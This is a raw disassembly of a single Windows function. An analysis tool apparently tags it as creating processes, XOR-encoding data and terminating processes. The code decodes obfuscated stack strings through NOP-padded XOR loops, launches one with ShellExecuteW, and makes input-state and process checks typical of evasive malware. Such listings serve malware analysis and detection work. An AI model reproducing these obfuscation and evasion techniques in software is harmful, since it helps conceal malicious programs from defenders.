Function at 0x40d410
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x30
call fcn.0043f250
test al, al
je 0x40d92d
mov dword [esp + 4], 0x8fba32ea
mov eax, 0x22541d22
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x22541d1e]
xor ecx, eax
mov edx, ecx
and edx, 0x43
xor edx, 0x15aaa043
and ecx, 0x4418bc
sub ecx, edx
mov edx, 1
sub edx, ecx
not edx
and edx, 1
or ecx, 1
add ecx, edx
add cl, 0x98
mov byte [esp + eax - 0x22541d1e], cl
inc eax
cmp eax, 0x22541d26
jne 0x40d440
mov edx, dword [esp + 4]
mov ecx, edx
shr ecx, 2
lea eax, [edx + edx]
not eax
add eax, edx
mov esi, edx
and esi, 0x8a96d7fd
and eax, 0x75692802
or eax, esi
xor eax, ecx
not ecx
or ecx, edx
mov dword [esp + 4], 0xb7b6729d
mov word [esp + 8], 0
mov byte [esp + 0xa], 0
xor eax, 0x8a96d7fd
xor edx, edx
mov ebx, edx
add bl, 0x1e
xor bl, byte [esp + edx + 4]
add bl, 0x6a
mov byte [esp + edx + 4], bl
inc edx
cmp edx, 7
jne 0x40d4c0
and eax, ecx
mov edx, dword [esp + 4]
mov ecx, edx
or ecx, eax
mov esi, edx
and esi, eax
mov edi, eax
not edi
and edi, edx
mov ebx, edx
not ebx
or ebx, eax
sub edx, eax
add edx, ebx
imul edx, edi
mov dword [esp + 4], 0xf0e0913
mov byte [esp + 8], 0
not ecx
imul ecx, esi
mov eax, 0x6c70d682
nop
nop
movzx esi, byte [esp + eax - 0x6c70d67e]
xor esi, eax
mov ebx, esi
or ebx, 0xfe
add ebx, esi
not esi
and esi, 1
add ebx, esi
add bl, 0x77
mov byte [esp + eax - 0x6c70d67e], bl
inc eax
cmp eax, 0x6c70d687
jne 0x40d510
add edx, ecx
movzx ecx, byte [esp + 4]
mov eax, edx
shr eax, cl
mov dword [esp + 4], 0x8f530e8
mov word [esp + 8], 0
mov byte [esp + 0xa], 0
xor ecx, ecx
nop
nop
mov ebx, ecx
add bl, 0xbc
xor bl, byte [esp + ecx + 4]
add bl, 0x54
mov byte [esp + ecx + 4], bl
inc ecx
cmp ecx, 7
jne 0x40d560
xor eax, edx
mov ecx, dword [esp + 4]
lea esi, [eax + eax]
not esi
add esi, eax
and esi, ecx
mov edx, ecx
not edx
and edx, eax
imul edx, esi
mov esi, eax
not esi
or esi, ecx
add esi, eax
inc esi
or eax, ecx
mov ecx, eax
not ecx
and ecx, esi
mov edi, esi
not edi
and edi, eax
imul edi, ecx
mov ecx, esi
and ecx, eax
or eax, esi
imul eax, ecx
add eax, edi
mov ecx, eax
and ecx, edx
xor eax, edx
mov dword [esp + 4], 0x978c1205
mov word [esp + 8], 0
add ecx, ecx
xor edx, edx
nop
nop
nop
nop
movzx esi, byte [esp + edx + 4]
mov ebp, edx
and ebp, 1
mov edi, edx
and edi, 6
xor edi, 0x3daa45a6
sub edi, ebp
or edi, esi
not esi
mov ebx, edx
or ebx, 0x59
add ebx, ebp
or ebx, esi
and ebx, edi
mov esi, ebx
not esi
mov edi, 0x41
sub edi, ebx
not edi
and esi, 1
and edi, 0xfe
and ebx, 0xfe
add ebx, 0xbe
or ebx, edi
not ebx
add ebx, esi
mov byte [esp + edx + 4], bl
inc edx
cmp edx, 6
jne 0x40d5d0
add ecx, eax
cmp ecx, dword [esp + 4]
jne 0x40d735
mov dword [esp + 4], 0x138711f3
mov dword [esp + 8], 0x1fc81df0
mov dword [esp + 0xc], 0x1b8219f5
mov dword [esp + 0x10], 0x72605e9
mov dword [esp + 0x14], 0x3e101d7
mov dword [esp + 0x18], 0xd0c
mov word [esp + 0x1c], 0
mov byte [esp + 0x1e], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xc4
xor cl, byte [esp + eax + 4]
add cl, 0x2c
mov byte [esp + eax + 4], cl
inc eax
cmp eax, 0x1b
jne 0x40d680
mov dword [esp + 0x20], 0x39aa3bad
mov dword [esp + 0x24], 0x25b42793
mov dword [esp + 0x28], 0x2324
mov word [esp + 0x2c], 0
mov eax, 0x57580a0b
mov byte [esp + 3], 0xc
mov edi, 0xa8a7f5f4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + eax - 0x575809eb]
mov ecx, edi
and ecx, 0x14
mov esi, eax
and esi, 0xb
or esi, ecx
xor esi, ebx
xor esi, 0x6b
lea ecx, [edi + 0x57580a80]
or ecx, esi
movzx edx, byte [esp + 3]
add cl, dl
add cl, cl
sub bl, cl
movzx ecx, bl
add ecx, eax
add cl, 0xc9
mov byte [esp + eax - 0x575809eb], cl
inc eax
inc dl
mov byte [esp + 3], dl
dec edi
cmp eax, 0x57580a19
jne 0x40d6d0
lea eax, [esp + 4]
lea ecx, [esp + 0x20]
push 5
push 0
push eax
push 0x4473da
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.00437400
test al, al
je 0x40d928
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [esp + 4], 0x925d8085
mov dword [esp + 8], 0xfef8b2fe
mov word [esp + 0xc], 0
mov byte [esp + 0xe], 0
mov eax, 0xb7969bb6
mov ecx, 0x296449
nop
nop
movzx edx, byte [esp + ecx - 0x296445]
mov esi, eax
and esi, 0xa6940003
mov edi, ecx
and edi, 0x28405c
or edi, esi
xor edi, edx
mov edx, edi
not edx
and edx, 1
xor edi, 2
lea edx, [edi + edx*2]
add dl, 0x92
mov byte [esp + ecx - 0x296445], dl
dec eax
inc ecx
cmp ecx, 0x296454
jne 0x40d770
mov dword [esp + 4], 0xee774d8d
mov dword [esp + 8], 0xd877aaf3
mov word [esp + 0xc], 0
mov byte [esp + 0xe], 0
mov eax, 0xa902bfb0
mov ecx, 0x4f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x56fd4054]
lea esi, [edx + edx]
not esi
add esi, edx
and esi, eax
and edx, ecx
or edx, esi
mov ebx, edx
xor ebx, 0x70
or edx, 0xb2f2418f
and ebx, edx
add ebx, edx
inc bl
mov byte [esp + eax + 0x56fd4054], bl
inc eax
dec ecx
cmp eax, 0xa902bfbb
jne 0x40d7e0
mov dword [esp + 4], 0xc9cacb93
mov byte [esp + 8], 0
mov eax, 0x52
mov ecx, 0xd18c65ac
nop
nop
nop
movzx esi, byte [esp + eax - 0x4e]
lea edx, [eax - 0x68c632ff]
lea edi, [esi + esi]
not edi
add edi, esi
mov ebx, esi
and ebx, 0x55
and edi, 0xa
or edi, ebx
xor edi, esi
xor edi, 0xa
lea ebx, [ecx + 0x2e739b00]
or ebx, ecx
and ebx, esi
not esi
or esi, edi
and esi, edx
or ebx, esi
add bl, 0x61
mov byte [esp + eax - 0x4e], bl
inc eax
dec ecx
cmp eax, 0x57
jne 0x40d830
call dword [sym.imp.USER32.dll_GetInputState]
test eax, eax
je 0x40d8e7
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp + 4], 0x8967fd53
mov dword [esp + 8], 0x23d82cea
mov byte [esp + 0xc], 0
mov edx, 0xd8e4b1d8
nop
nop
nop
nop
nop
movzx eax, byte [esp + edx + 0x271b4e2c]
mov ebx, eax
mov esi, eax
and ebx, edx
mov eax, ebx
or al, 0xfd
inc al
mov ecx, ebx
and cl, 0xfd
mul cl
mov ecx, eax
mov eax, esi
add cl, al
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edx
add al, 0xc8
mov byte [esp + edx + 0x271b4e2c], al
inc edx
cmp edx, 0xd8e4b1e1
jne 0x40d8a0
mov dword [esp + 4], 0xd2cdcccf
mov dword [esp + 8], 0xd6d1d0d3
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xcd
xor cl, byte [esp + eax + 4]
dec cl
mov byte [esp + eax + 4], cl
inc eax
cmp eax, 8
jne 0x40d900
call fcn.0040e8d0
test al, al
je 0x40d928
call fcn.00411730
call fcn.00410310
call fcn.00440350
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]